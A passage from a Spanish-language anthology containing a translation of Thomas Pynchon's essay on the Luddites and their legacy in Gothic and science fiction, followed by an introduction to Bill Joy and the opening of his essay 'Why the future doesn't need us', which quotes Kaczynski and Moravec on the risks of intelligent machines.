ser, ¿Hay algo en la lectura y el pensamiento que llevaría o predispon-
dría a una persona a convertirse en luddita? ¿Está bien ser un luddita?
Y llegados a este punto, en realidad, ¿qué es un luddita?

HISTÓRICAMENTE, los ludditas florecieron en Inglaterra desde
alrededor de 1811 a 1816. Eran bandas de hombres, organizados,
enmascarados, anónimos, cuyo propósito era destruir maquinaria
usada sobre todo en la industria textil. Juraban lealtad no a un Rey bri-
tánico, sino a su propio Rey Ludd. No está claro si se llamaban a sí mis-
mos ludditas, aunque así los llamaban tanto sus amigos como sus ene-
migos. El uso de la palabra por C.P. Snow obviamente buscaba polemi-
zar, queriendo dar a entender un miedo y odio irracionales a la ciencia
y la tecnología. Los ludditas habían llegado, de esta manera, a ser ima-
ginados como los contrarevolucionarios de esa “Revolución Industrial”
que sus sucesores contemporáneos “nunca intentaron, quisieron, ni
lograron entender”.
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Pero la Revolución Industrial no fue, como las Revoluciones
Americana y Francesa de más o menos el mismo período, una lucha vio-
lenta con un principio, mitad de camino y final. Fue más suave, menos
terminante, más parecida a un período acelerado en una larga evolu-
ción. El nombre fue popularizado hace cien años por el historiador
Arnold Toynbee, y ha tenido su parte de atención revisionista última-
mente, en la edición de julio de 1984, de Scientific American. En ella, en
“Medieval Roots of the Industrial Revolution”, Terry S. Reynolds sugie-
re que el papel inicial del motor a vapor (1765) puede haberse exagera-
do. Lejos de ser revolucionaria, mucha de la maquinaria que el vapor
había llegado para poner en movimiento, había estado lista desde
mucho antes, siendo impulsada de hecho con agua y molinos desde la
Edad Media. No obstante, la idea de una “revolución” tecno-social, en
la que salió triunfadora la misma gente que en Francia y América,
demostró ser útil para muchos a lo largo de los años, y no menos útil
para los que, como C.P. Snow, han creído descubrir con “ludditas” un
modo de designar a aquellos con los que desacuerdan, políticamente
reaccionarios y anticapitalistas al mismo tiempo.

Pero el Oxford English Dictionary tiene una interesante historia que
contar. En 1779, en un pueblito de algún lugar de Leicestershire, un Ned
Ludd se metió en una casa y “en un demente ataque de furia” destruyó
dos máquinas usadas para tejer medias de lana. La noticia se corrió.
Pronto, cada vez que se hallaba saboteado un marco para medias –esto
venía pasando, dice la Enciclopedia Británica, desde 1710 aproximada-
mente– la gente respondía con la frase (ya popular), “Por acá debe haber
pasado Ludd”. Para cuando su nombre fue adoptado por los sabotea-
dores de telares de 1812, el Ned Ludd histórico se había asimilado en el
de alguna manera sarcástico apodo de “Rey (o Capitán) Ludd”, y era
ahora todo misterio, rumores y diversión clandestina, rondando los dis-
tritos de tejedores de Inglaterra, armado nada más que con un gracioso
palo –cada vez que se topa con el marco de un telar se pone loco y no
para hasta romperlo.

Pero importa mucho recordar que incluso el blanco del ataque ori-
ginal de 1779, al igual que muchas de las máquinas de la Revolución
Industrial, no era novedoso como pieza de tecnología. El telar para
medias había estado dando vueltas desde 1589, cuando, según el
folklore, fue inventado por el reverendo William Lee, llevado a ello por
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la locura. Parece que Lee estaba enamorado de una joven que estaba
más interesada en su tejido que en él. Él iba a su casa, y “Lo siento, Rev,
tengo que tejer” “¡¿Qué?! ¿De nuevo?”. Después de un tiempo, incapaz
de tolerar un rechazo así, Lee, a diferencia de Ned Ludd, sin ningún ata-
que de furia alocada, sino lógica y serenamente –imaginemos–, se dedi-
có a inventar una máquina que dejara obsoleto el tejido manual de
medias. Y lo logró. De acuerdo a la enciclopedia, el telar del clérigo ena-
morado, “era tan perfecto en su concepción que siguió siendo el único
medio mecánico para tejer, por cientos de años”.

Ahora, dada esa brecha de tiempo, no es nada fácil pensar a Ned
Ludd como un loco tecno-fóbico. No hay duda: lo que lo hacía admira-
ble y legendario era el vigor y la decisión con que aparecía. Pero las
palabras “demente ataque de furia” son de segunda o tercera mano, por
lo menos 68 años después de los hechos. Y el enojo de Ned Ludd no se
dirigía a las máquinas, no exactamente. Me gusta más pensarlo como el
enojo controlado, tipo artes marciales, del Molesto decidido a todo.

Cuenta con una larga historia folklórica esta figura, el Molesto.
Suele ser hombre, y pese a ganarse a veces la intrigante tolerancia de las
mujeres, lo admiran de manera casi universal los hombres debido a dos
virtudes básicas: es Malo y Grande. Malo pero no moralmente maligno,
no necesariamente, más bien capaz de hacer daño a gran escala. Lo que
importa acá es la amplificación de la escala, el efecto multiplicador. 

Las máquinas de tejer que provocaron los primeros disturbios
ludditas habían estado dejando sin trabajo a la gente por más de dos
siglos. Todos veían cómo pasaba esto –se volvió parte de la vida diaria.
También veían a las máquinas convertirse más y más en propiedad de
personas que no trabajaban, sólo poseían y empleaban. No se necesitó a
ningún filósofo alemán, en ese momento o después, para señalar lo que
ésto hacía, había estado haciendo, a los salarios y a los trabajos. El sen-
timiento general sobre las máquinas nunca hubiera podido ser mero
horror irracional, sino algo más complejo: el amor/odio que se genera
entre humanos y maquinaria –especialmente cuando ha estado dando
vueltas por un tiempo–, sin mencionar un serio resentimiento contra
por lo menos dos efectos multiplicadores que fueron vistos como injus-
tos y peligrosos. Uno era la concentración de capital que cada máquina
representaba, y el otro, la capacidad de cada máquina de dejar afuera
del trabajo a un cierto número de humanos –de ser más “valiosas” que
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muchas almas humanas. Lo que le dio al Rey Ludd ese especial Mal
carácter suyo, que lo llevó de héroe local a enemigo público nacional,
fue que él embistió contra estos oponentes amplificados, multiplicados,
más que humanos, y prevaleció. Cuando los tiempos son duros, y nos
sentimos a merced de fuerzas muchas veces más poderosas, ¿acaso no
nos volvemos en busca de alguna compensación, aunque sea en la ima-
ginación, en los deseos, y miramos hacia el Molesto –el genio, el golem,
el gigante, el superhéroe– que resistirá lo que de otra manera nos abru-
maría? Por supuesto, el destrozamiento de telares reales o seculares,
seguía a cargo de hombres comunes, sindicalistas avanzados de la
época, usando la noche, y su propia solidaridad y disciplina, para lograr
sus efectos multiplicadores. 

Era lucha de clases a la vista de todo el mundo. El movimiento tenía
sus aliados parlamentarios, entre ellos Lord Byron, cuyo discurso inau-
gural en el Palacio de los Lores en 1812 compasivamente se opuso al
proyecto de ley que proponía, entre otras medidas de represión, hacer
pasible de pena de muerte el sabotaje de máquinas de tejer medias. “¿No
simpatizas con los ludditas?” le escribió desde Venecia a Thomas
Moore. “¡Por el Señor, que si hay una batalla estaré entre ustedes!
¿Cómo les va a los tejedores –los destrozadores de telares– los
Luteranos de la política –los reformadores?”. Incluía una “amable can-
ción” que mostró ser un himno luddita tan encendido que no fue publi-
cado hasta después de muerto el poeta. La carta tiene fecha de diciem-
bre de 1816: Byron había pasado el verano anterior en Suiza, atrapado
por un tiempo en la Villa Diodati con los Shelley, mirando la lluvia caer,
mientras se contaban entre sí historias de fantasmas. Para ese diciembre
–así fue como sucedió–, Mary Shelley estaba trabajando en el Capítulo
Cuatro de su novela Frankenstein, o el Moderno Prometeo.

Si hubiera un género tal como la novela luddita, ésta, que advierte
de lo que puede pasar cuando la tecnología, y aquellos que la manejan,
se salen de los carriles, sería la primera y estaría entre las mejores. La
criatura de Víctor Frankenstein, además, también califica como un enor-
me Molesto literario. “Me decidí…”, nos dice Víctor, “a hacer a la cria-
tura de una estatura gigante, o sea, digamos, unos ocho pies de altura,
y proporcional en tamaño” –lo que hace a lo Grande. La historia de
cómo llegó a ser tan Malo es el corazón de la novela, bien cobijado en su
interior: la historia es narrada a Víctor en primera persona por la cria-
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tura misma, enmarcada después dentro de la narrativa del propio
Víctor, que se enmarca a su vez en las cartas del explorador del Ártico,
Robert Walton. Más allá de que mucha de la vigencia de Frankenstein se
debe al genio no reconocido de James Whale, que la tradujo al cine,
sigue siendo más que una buena lectura, por todos los motivos por los
que leemos novelas, así como por la mucho más limitada razón de su
valor luddita: esto es, por su intento, a través de medios literarios que
son nocturnos y se mueven con disfraces, de negar a la máquina. 

Miren, por ejemplo, el relato de Víctor de cómo ensambló y dio vida
a su criatura. Debe ser, por supuesto, un poco vago acerca de los deta-
lles, pero se nos habla de un procedimiento que parece incluir cirugía,
electricidad (aunque nada parecido a las extravagancias galvánicas de
Whale), química e, incluso, desde oscuras referencias a Paracelsio y
Albertus Magnus, la todavía recientemente desacreditada forma de
magia conocida como alquimia. Lo que está claro, sin embargo, más allá
del tantas veces representado electro-shock-en-el-cuello, es que ni el
método ni la criatura que resulta son mecánicos.

Esta es una de varias interesantes similitudes entre Frankenstein y
un cuento anterior de lo Malo y Grande, El Castillo de Otranto (1765), de
Horace Walpole, usualmente considerada como la primera novela góti-
ca. Por algún motivo, ambos autores, al presentar sus libros al público,
emplearon voces ajenas. El prefacio de Mary Shelley fue escrito por su
marido, Percy, que se hacía pasar por ella. No fue hasta 15 años después
que Mary escribió una introducción a Frankenstein en su propio nombre.
Walpole, por otra parte, le inventó a su libro toda una historia editorial,
diciendo que era la traducción de un texto medieval italiano. Recién en
el prefacio de la segunda edición admitió su autoría.

Las novelas también tienen orígenes nocturnos asombrosamente
similares: las dos son resultado de episodios de sueños lúcidos. Mary
Shelley, aquel verano de historias de fantasmas en Ginebra, intentando
dormirse una noche, de pronto vio a la criatura cobrando vida, las imá-
genes surgiendo en su mente “con una vivacidad más allá de los límites
usuales del ensueño”. Walpole se había despertado de un sueño, “del
cual, todo lo que podía recordar era que había estado en un antiguo cas-
tillo (…) y que en la baranda superior de una escalera vi una gigantesca
mano en una armadura.”
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En la novela de Walpole, esta mano resulta ser la mano de Alfonso
el Bueno, anterior príncipe de Otranto y, pese a su epitafio, el Molesto
residente del castillo. Alfonso, como la criatura de Frankenstein, está
armado por partes –casco de marta con plumas, pie, pierna, espada,
todas ellas, como la mano, bastante sobredimensionadas– que caen del
cielo o se materializan simplemente aquí y allá por los terrenos del cas-
tillo, inevitables como el lento regreso de lo reprimido según Freud. Los
agentes motivadores, de nuevo como en Frankenstein, son no-mecánicos.
El ensamble final de “la forma de Alfonso, dilatada en una magnitud
inmensa”, se logra a través de medios sobrenaturales: una maldición
familiar, y la mediación del santo patrono de Otranto.

La pasión por la ficción gótica después de El Castillo de Otranto se
originaba, yo sospecho, en profundos y religiosos anhelos de aquellos
tempranos tiempos míticos que habían llegado a conocerse como la
Edad de los Milagros. De modos más y menos literales, la gente del siglo
XVIII creía que una vez hace mucho tiempo, todo tipo de cosas habían
sido posibles y que ya no lo eran más. Gigantes, dragones, hechizos. Las
leyes de la naturaleza no se habían formulado tan estrictamente por ese
entonces. Lo que había sido una vez magia verdadera en funcionamien-
to había, para el tiempo de la Edad de la Razón, degenerado en mera
maquinaria. Los oscuros, satánicos molinos de Blake representaban una
antigua magia que, como Satán, había caído en desgracia. Mientras la
religión era secularizada más y más en Deísmo y descreimiento, el
hambre permanente de los hombres por evidencias de Dios y de vida
después de la muerte, de salvación –resurrección corporal, de ser posi-
ble–, seguía vivo. El movimiento Metodista y el Gran Despertar
Americano1 fueron sólo dos sectores dentro de un vasto frente de resis-
tencia a la Edad de la Razón, un frente que incluía al Radicalismo y la
Francmasonería, así como a los ludditas y la novela Gótica. Cada uno a
su manera expresaba la misma profunda resistencia a abandonar ele-
mentos de fe, por más “irracionales” que fueran, a un orden tecno-polí-
tico emergente que podía o no saber lo que estaba haciendo. El “Gótico”
devino código para “medieval”, y éste se hizo código para “milagroso”,

1. Fenómeno de renovación religiosa protagonizado por predicadores que reco-
rrían las colonias británicas en América entre 1720 y 1760. (N. del E.)



THOMAS PYNCHON192

a través de Pre-Rafaelitas,2 cartas de tarot fin-de-siècle, novelas del espa-
cio en revistas clase-B, hasta llegar a “Star Wars” y las historias contem-
poráneas de espadas y hechiceros.

Insistir en lo milagroso es negarle a la máquina al menos una parte
de sus pretensiones sobre nosotros, afirmar el deseo limitado de que las
cosas vivientes, terrestres o de otra especie, en ocasiones puedan vol-
verse tan Malas y Grandes como para intervenir en hechos trascenden-
tes. Según esta teoría, por ejemplo, King Kong (? - 1933) deviene un clá-
sico santo luddita. El diálogo final de la película, ustedes recordarán,
dice: “Bueno, el avión pudo con él”. “No… fue la Belleza la que mató a
la Bestia”. Donde de nuevo encontramos la misma Disyunción
Snoviana, sólo que diferente, entre lo humano y lo tecnológico.

Pero si insistimos en violaciones ficcionales a las leyes de la natura-
leza –del espacio, del tiempo, de la termodinámica, y la número uno, de
la mortalidad en sí– entonces nos arriesgamos a ser juzgados por el
establishment literario como Poco Serios. Ser serios acerca de estos
temas es una manera en que los adultos se han definido tradicional-
mente a sí mismos frente a los seguros de sí, los inmortales niños con los
que tienen que vérselas. Recordando a Frankenstein, que escribió cuan-
do tenía 19, Mary Shelley dijo, “Tengo un cariño especial por esa nove-
la, pues era la primavera de días felices, cuando la muerte y la pena no
eran sino palabras que no hallaban eco verdadero en mi corazón”. La
actitud Gótica en general, debido a que empleaba imágenes de muerte
y de sobrevivientes fantasmales con fines no más responsables que los
de efectos especiales y decorados, fue juzgada de insuficientemente
seria y confinada a su propia zona del pueblo. No es el único barrio de
la gran Ciudad de la Literatura tan, digamos, cuidadosamente demar-
cado. En los westerns, la gente buena siempre gana. En las novelas
románticas, el amor supera los obstáculos. En los policiales, sabemos
más que los personajes. Nosotros decimos, “Pero el mundo no es así”.
Estos géneros, al insistir en lo que es contrario a los hechos, no llegan a
ser suficientemente Serios, y entonces se les pone la etiqueta de “viajes
escapistas”.

2. Comunidad de artistas fundada en 1848 en Inglaterra que aspiraba a recuperar
los principios y prácticas artísticas que creían característicos del arte italiano antes
de Rafael. (N. del E.)
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Esto es especialmente lamentable en el caso de la ciencia ficción, en
la cual pudo verse en la década posterior a Hiroshima uno de los flore-
cimientos más impresionantes de talento literario y, muchas veces, de
genio de nuestra historia. Fue tan importante como el movimiento Beat
que tenía lugar al mismo tiempo, ciertamente más importante que la fic-
ción popular que, apenas con algunas excepciones, se había paralizado
por el clima político de la guerra fría y los años de McCarthy. Además
de ser una síntesis casi ideal de las Dos Culturas, resulta que la ciencia
ficción también fue uno de los principales refugios, en nuestro tiempo,
para aquellos de ideas ludditas. 

Para 1945, el sistema fabril –que, más que ninguna otra pieza de
maquinaria, fue el auténtico legado de la Revolución Industrial– se
había extendido hasta abarcar el Proyecto Manhattan, el programa de
cohetes de larga distancia de Alemania y los campos de concentración,
como Auschwitz. No hizo falta ningún don especial de adivinación para
ver cómo estas tres curvas de desarrollo podrían plausiblemente con-
verger, y en no mucho tiempo. Desde Hiroshima, hemos visto a las
armas nucleares multiplicarse fuera de control, y los sistemas de direc-
cionamiento adquieren, con fines globales, alcance y precisión ilimita-
das. La aceptación impasible de un holocausto de hasta siete y ocho
cifras en la cuenta de cuerpos, se ha convertido –entre aquellos que, en
particular desde 1980, han guiado nuestras políticas militares– en una
hipótesis natural.

Para la gente que estaba escribiendo ciencia ficción en los ’50, nada
de esto era una sorpresa, aunque las imaginaciones de los ludditas
modernos todavía tienen que encontrar alguna contra-criatura tan
Grande y Mala, incluso en la más irresponsable de las ficciones, que se
le pueda comparar a lo que pasaría durante una guerra nuclear. Así, en
la ciencia ficción de la Era Atómica y la Guerra Fría, vemos tomar una
dirección diferente a los impulsos ludditas de negar la máquina. El
ángulo tecnológico perdió énfasis en favor de preocupaciones más
humanísticas –exóticas evoluciones culturales y escenarios sociales,
paradojas y juegos de espacio/tiempo, salvajes preguntas filosóficas–, la
mayoría compartiendo, como ha discutido en extenso la crítica literaria,
una definición de “humano” como particularmente distinto de “máqui-
na”. Al igual que sus contrapartes originales, los ludditas del siglo XX
miraron anhelantes hacia atrás, hacia otra era –curiosamente, a la misma
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Edad de la Razón que había empujado a los primeros ludditas a la nos-
talgia por la Edad de los Milagros.

Pero ahora vivimos, se nos dice, en la Era de las Computadoras.
¿Qué pronósticos hay para la sensibilidad luddita? ¿Atraerán los CPU
la misma atención hostil que alguna vez despertaron las máquinas de
tejer? Realmente, lo dudo. Escritores de todos los estilos van en estam-
pida a comprar procesadores de texto. Las máquinas ya se han vuelto
tan amigables que incluso el más irreductible luddita puede caer seduci-
do a bajar la guardia y apretarse unas teclas. Detrás de esto parece haber
un creciente consenso acerca de que el conocimiento realmente es
poder, que hay una conversión bastante directa entre dinero e informa-
ción y que, de alguna manera, si la logística se soluciona, puede que los
milagros todavía sean posibles. Si esto es así, los ludditas quizás hayan
llegado finalmente a un terreno común con sus adversarios Snovianos,
la sonriente armada de tecnócratas que se suponía llevaba “el futuro en
los huesos”. Quizás sólo sea una nueva forma de la incesante ambiva-
lencia luddita respecto a las máquinas, o puede ser que la esperanza de
milagro más profunda de los ludditas haya venido a residir en la habi-
lidad de las computadoras para conseguir la información correcta y dár-
sela a aquellos a quiénes esa información será más útil. Con los adecua-
dos programas de financiamiento y tiempo, con las computadoras cura-
remos el cáncer, nos salvaremos de la extinción nuclear, produciremos
comida para todos, desintoxicaremos los resultados de la codicia indus-
trial devenida psicopatía –véanse todas las melancólicas ensoñaciones
de nuestro tiempo.

La palabra “luddita” se sigue usando con desprecio para cualquie-
ra con dudas acerca de la tecnología, especialmente la de tipo nuclear.
Los ludditas hoy ya no están más enfrentados a humanos dueños de
fábricas y a máquinas vulnerables. Como profetizó el renombrado pre-
sidente y luddita involuntario D. D. Eisenhower al dejar su puesto, hay
ahora un permanente, poderoso sistema de almirantes, generales y
directores de corporaciones, frente al cual nosotros, pobres bastardos
comunes, estamos completamente desclasados, aunque Ike no lo dijo
con esas palabras. Se supone que debemos quedarnos tranquilos y dejar
que las cosas sigan andando, incluso aunque, debido a la revolución de
la información, se hace cada día más difícil engañar a cualquiera por
cualquier lapso de tiempo. Si nuestro mundo sobrevive, el siguiente

THOMAS PYNCHON194



¿ESTA BIEN SER LUDDITA?

gran desafío a tener en cuenta va a ser –lo oyeron acá, en primicia–
cuando las curvas de investigación y desarrollo en inteligencia artificial,
biología molecular y robótica converjan. ¡Ay! Va a ser increíble e impre-
decible, y hasta los mandos más altos, recemos devotamente, van a lle-
gar a destiempo. Ciertamente es algo para que todos los buenos luddi-
tas le prestemos atención si, Dios mediante, llegamos a vivir tanto. 

Mientras, como norteamericanos, podemos buscar alivio, por esca-
so y frío que sea, en la improvisada y maliciosa canción de Lord Byron,
en la que, como otros observadores de su tiempo, percibió relaciones
evidentes entre los primeros ludditas y nuestros propios orígenes revo-
lucionarios. Así empieza:

Como los compañeros de la Libertad más allá del mar
Compraron su libertad, barata, con su sangre,
Así haremos nosotros, muchachos. Vamos
A morir peleando, o a vivir libres.
¡Y que caigan todos los reyes menos el Rey Ludd!
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BBill Joy integró el grupo de hackers de la
Universidad de Berkeley. Allí se graduó a los vein-

te años en 1975. En ese período desarrolló la versión
BSD del sistema operativo UNIX, una de las más
prestigiosas. A principios de los ‘80 dejó la
Universidad y fundó la empresa Sun Microsystems
con algunos compañeros en la cual desarrolló lengua-
jes de programación como JAVA orientados a la
transmisión de datos en Internet, y de código abierto,
fundamentales en la red. Se lo considera uno de los
ingenieros electrónicos y científicos informáticos más
importantes de la actualidad. En 2003 dejó Sun
Microsystems. 

El artículo “Por qué el futuro no nos necesita” salió
publicado en el número de abril de 2000 de la revis-

ta norteamericana Wired. Wired es la publicación
estrella de la industria de  las comunicaciones y la alta
tecnología, la expansión de la cual acompañó desde
principios de los ‘90. Wired rescata las historias y el
costado creativo de las nuevas tecnologías, e incluye
en sus firmas a escritores de ciencia ficción como
Sterling, Gibson y Stephenson. Da una visión celebra-
toria y despolitizada de los efectos de la tecnología en
las sociedades, visión que aparece cuestionada en el
artículo de Joy. 



Desde el momento en que me involucré en la creación de nuevas
tecnologías, sus dimensiones éticas me han interesado, pero fue recién
en el otoño de 1998 que tomé consciencia, con ansiedad, de lo grandes
que son los peligros que nos esperan en el siglo XXI. Puedo situar en el
tiempo el inicio de mi incomodidad, en el día en que conocí a Ray
Kurzweil, el famoso inventor de la primera máquina de lectura para cie-
gos y de muchas otras cosas asombrosas.

Ray y yo éramos ambos oradores en la conferencia de George
Gilder en Telecosm, y me encontré con él por casualidad en el bar del
hotel luego de que nuestras sesiones hubieran terminado. Yo estaba sen-
tado con John Searle, un filósofo de Berkeley que estudia la conciencia.
Mientras hablábamos, Ray se acercó y empezó una conversación, cuyo
tema me persigue hasta el día de hoy.

Yo me había perdido la charla de Ray y el panel de discusión pos-
terior en el que habían estado Ray y John, y ahora ellos retomaron desde
donde lo habían dejado, con Ray diciendo que los ritmos del avance de
la tecnología iban a acelerarse y que nosotros íbamos a convertirnos en
robots o a fusionarnos con robots o algo parecido, y John respondía que
esto no podía pasar, porque los robots no podían tener conciencia.

Aunque había escuchado esa conversación otras veces, siempre
había sentido que los robots sensibles pertenecían al reino de la ciencia
ficción. Pero ahora, de alguien por quien sentía respeto, estaba
escuchando un argumento fuerte de que eran una posibilidad a corto
plazo. Me tomó por sorpresa, especialmente dada la probada habilidad
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de Ray de imaginar y crear el futuro. Yo ya sabía que nuevas tecnologías
como la ingeniería genética y la nanotecnología estaban dándonos el
poder de rehacer el mundo, pero un escenario realista y cercano de
robots con inteligencia me descolocó.

Es fácil saturarse de esos “adelantos”. Casi todos los días oímos en
las noticias algún tipo de avance tecnológico o científico. Pero ésta no
era una predicción común. En el bar del hotel, Ray me dio una prueba
de impresión de su libro que estaba por salir, The age of spiritual machines
[La era de las máquinas espirituales]1, en el que esbozaba una utopía
que él veía en el futuro: los humanos estarían cerca de obtener la inmor-
talidad a través de volverse una misma cosa con la tecnología robótica.
Al leerlo, mi sensación de desagrado sólo se hizo más intensa; me sen-
tía seguro de que él tenía que estar entendiendo los peligros, enten-
diendo la probabilidad de un resultado negativo por ese camino.

Todavía me sentí peor por un pasaje en que se describía un esce-
nario distópico:

El nuevo desafío luddita
Primero imaginemos que los científicos informáticos tienen éxito en
crear máquinas inteligentes que pueden hacer todo mejor que los seres
humanos. Entonces, se puede esperar que todo el trabajo lo realicen
vastos sistemas de máquinas altamente organizadas y que ya no sea
necesario ningún esfuerzo humano. Una de dos cosas pueden ocurrir.
Se le podría permitir a las máquinas tomar todas las decisiones por sí
mismas sin supervisión humana, o bien se mantendría el control
humano sobre las máquinas. 

Si se les permite a las máquinas tomar todas las decisiones, no
podemos hacer ninguna conjetura acerca de los resultados, porque es
imposible adivinar cómo se comportarían tales máquinas. Solamente
señalamos que el destino de la raza humana quedaría a merced de las
máquinas. Se dirá que la raza humana no sería nunca tan tonta como
para dejarle todo el poder a las máquinas. Pero no sugerimos ni que la
raza humana entregaría el poder voluntariamente ni que las máquinas
tomarían el poder por propia iniciativa. Lo que sugerimos es que la

1. The age of spiritual machines: When computers excede human intelligence. London,
Penguin, 1999 (hay trad. cast.: La era de las máquinas espirituales: Cuando las com-
putadoras superen la mente humana. Barcelona, Planeta, 1999). (N. del E.)
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raza humana fácilmente podría dejarse llevar hasta una posición de
dependencia tal que las máquinas no tendrían otra opción práctica
que asumir todas sus decisiones. Al volverse la sociedad y los proble-
mas que enfrenta más y más complejos, y las máquinas volverse más y
más inteligentes, la gente dejará que las máquinas tomen más deci-
siones por ella, simplemente porque las decisiones que tomen las
máquinas producirán mejores resultados que las decisiones tomadas
por humanos. Eventualmente se alcanzará un punto en el que las
decisiones imprescindibles para mantener funcionando el sistema
serán tan complejas que excederán las capacidades de los seres
humanos de hacerlo correctamente. En ese punto las máquinas tendrán
el control efectivo. La gente sencillamente no podrá apagar las
máquinas, porque dependerán tanto de ellas que apagarlas equivaldría
a suicidarse.

Por el otro lado, es posible que el control humano sobre las
máquinas sea retenido. En ese caso el hombre promedio tendría control
sobre ciertas máquinas privadas, de su propiedad, como ser su auto o
su computadora personal, pero el control sobre grandes sistemas de
máquinas quedará en manos de una pequeña elite –tal como sucede
hoy, pero con dos diferencias. Gracias a técnicas más desarrolladas la
elite contará con un mayor control sobre las masas; y debido a que el
trabajo humano ya no será necesario las masas serán superfluas, una
carga inútil para el sistema. Si la elite sencillamente es impiadosa
podría decidir exterminar las masas humanas. Si es más humana
podría emplear propaganda u otras técnicas psicológicas o biológicas
para reducir los índices de natalidad hasta que la masa humana se
extinga, dejándole el mundo a la elite. O, si la elite consiste en liberales
[liberals] de corazón blando, podrían decidir interpretar el papel de
buenos pastores del resto de la raza humana. Cuidarán de que las
necesidades físicas de todos estén satisfechas, de que los chicos sean
criados bajo condiciones psicológicas higiénicas, que todos tengan un
sano hobby para entretenerse, y que cualquiera que se sienta insatisfe-
cho reciba un “tratamiento” que lo cure de su “problema”. Desde ya, la
vida carecerá de sentido a tal extremo que la gente tendrá que ser
reprogramada biológica o psicológicamente ya sea para removerles su
necesidad del proceso de poder o para “sublimarles” su ansia de poder
hacia algún hobby inofensivo. Estos seres humanos reprogramados
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podrían ser felices en esa sociedad, pero ciertamente no serán libres.
Habrán sido reducidos al estatus de animales domésticos.2

En el libro no se descubre, hasta que se da vuelta la página, que el
autor del fragmento es Theodore Kaczynski –el Unabomber. No soy
para nada un apologista de Kaczynski. Sus bombas mataron a tres per-
sonas durante una campaña de 17 años de terror e hirieron a muchas
otras. Una de sus bombas hirió gravemente a mi amigo David Gelernter,
uno de los más brillantes y visionarios científicos informáticos de
nuestro tiempo. Como muchos de mis colegas, yo sentí que tranquila-
mente podía ser el siguiente blanco del Unabomber.

Los actos de Kaczynski fueron asesinos y, creo, dementes.
Claramente es un luddita, pero decir esto no anula sus argumentos; tan
difícil como me resulta a mí aceptarlo, ví cierto mérito en el razo-
namiento de esta cita en especial. Me sentí llamado a confrontarlo.

La visión distópica de Kaczynski describe consecuencias que no
habían sido previstas, un problema que es muy conocido en el diseño y
uso de tecnología, problema claramente relacionado a la ley de Murphy
–“Cualquier cosa que pueda salir mal, saldrá mal.” (De hecho, esta es la
ley de Finagle, lo que en sí mismo muestra que Finagle tenía razón).
Nuestro excesivo uso de antibióticos ha llevado a lo que puede ser el
mayor de estos problemas hasta ahora: la aparición de bacterias
resistentes a los antibióticos y mucho más peligrosas. Cosas similares
pasaron cuando los intentos de eliminar a los mosquitos de la malaria
usando DDT llevaron a que éstos adquirieran resistencia al DDT; al
mismo tiempo, los parásitos de la malaria adquirieron genes resistentes
a múltiples drogas.3

2. El pasaje que Kurzweil cita pertenece al Manifiesto de Kaczynski, el Unabomber,
el cual fue publicado entero, bajo extorsión, por The New York Times y The
Washington Post en un intento por terminar con su campaña de terror. Acuerdo
con David Gelernter, que dijo acerca de esta decisión: “Fue una decisión dura para
los diarios. Aceptar era ceder frente al terrorismo, y por lo que sabían, de cualquier
forma él estaba mintiendo. Por otro lado, aceptar podría detener las muertes. Había
también una posibilidad de que alguien leyera el texto y diera alguna pista sobre
el autor; y eso es exactamente lo que pasó. El hermano del sospechoso lo leyó, y
llamó a la policía.”
“Yo hubiera dicho que no lo publicaran. Por suerte no me preguntaron.” (Drawing
Life: Surviving the Unabomber. Free Press, 1997. p. 120)
3. Garrett, Laurie, The coming plague: newly emerging diseases in a world out of balance.
London, Penguin, 1994. pp. 47-52, 414, 419, 452.
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El motivo de muchas de esas sorpresas parece evidente: los sis-
temas en cuestión son complejos, e involucran interacciones y relaciones
de ida y vuelta entre muchos componentes. Cualquier cambio en uno de
éstos sistemas se propagará en formas que son muy difíciles de prede-
cir; esto es especialmente cierto cuando hay involucradas acciones
humanas.

Empecé mostrándoles a amigos la cita de Kaczynski en La era de las
máquinas espirituales: les daba el libro de Kurzweil, dejaba que leyeran el
fragmento, y después miraba cómo reaccionaban al enterarse de quién
lo había escrito. Por esa época, encontré el libro de Moravec Robot: Mere
Machine to Trascendental Mind.4 Moravec es uno de los líderes en la
investigación en robótica, y fue fundador del programa de investigación
de robótica más grande del mundo, en la Universidad de Carnegie
Mellon. Robot me dio más material para probar con mis amigos –mate-
rial que sorprendentemente apoyaba el argumento de Kaczynski. Por
ejemplo:

El corto plazo (principios de década)
Las especies biológicas casi nunca sobreviven a encuentros con com-
petidores superiores. Diez millones de años atrás, América del Norte y
del Sur estaban separadas por un istmo de Panamá hundido. Sud
América, como hoy Australia, estaba habitada por mamíferos marsu-
piales, incluyendo algunos con bolsas abdominales equivalentes de las
ratas, ciervos y tigres. Cuando el istmo que conectaba el Sur con el
Norte emergió, les tomó sólo algunos miles de años a las especies pla-
centadas del norte, con metabolismos y sistemas nerviosos y reproduc-
tivos un poco más efectivos, desplazar y eliminar a casi todos los mar-
supiales del sur.

En un mercado totalmente libre, los robots superiores seguramente
afectarían a los humanos como los placentados norteamericanos afec-
taron a los marsupiales de Sudamérica (y como los humanos han afec-
tado a innumerables especies). Las industrias robóticas competirían
entre ellas con vigor por materia, energía, y espacio, llevando even-
tualmente los precios más allá del alcance humano. Imposibilitados de
afrontar las necesidades vitales, los humanos biológicos serían obliga-
dos a desaparecer.

4. Moravec, Hans P., Robot: Mere Machine to Trascendental Mind. New York, Oxford
University Press, 1999. (N. del E.)



Con seguridad se puede respirar tranquilos todavía, porque no vivi-
mos en un mercado libre absoluto. Los gobiernos regulan los compor-
tamientos, especialmente recaudando impuestos. Aplicados con juicio,
los frenos gubernamentales podrían sostener a una población humana
que viva con calidad de los frutos del trabajo-robot, quizás por un largo
tiempo.

Una distopía de manual –y Moravec recién está empezando.
Prosigue discutiendo cómo nuestra principal ocupación en el siglo XXI
será “garantizar cooperación continua de las industrias de robots”
mediante leyes que declaren que éstos deben ser “amigables”,5 y descri-
biendo qué tan peligroso puede ser un ser humano “luego de conver-
tirse en un robot superinteligente sin límites establecidos.” La visión de
Moravec es que los robots eventualmente nos van a superar –que los
humanos se enfrentan abiertamente a la extinción.

Decidí que era hora de hablar con mi amigo Danny Hillis. Danny se
hizo famoso como co-fundador de Thinking Machines Corporation
[Corporación de Máquinas Pensantes], que construyó una muy
poderosa supercomputadora paralela. Pese a mi trabajo como Director
Científico en Sun Microsystems, soy más arquitecto de computadoras
que científico, y respeto los conocimientos de Danny sobre ciencia física
y de la información más que los de cualquier otra persona que conozca.
Danny también es un futurista muy influyente que piensa a largo plazo
–cuatro años atrás creó la Long Now Foundation [Fundación del Largo
Presente], que está construyendo un reloj diseñado para durar 10.000
años, en un intento por llamar la atención acerca de lo patéticamente
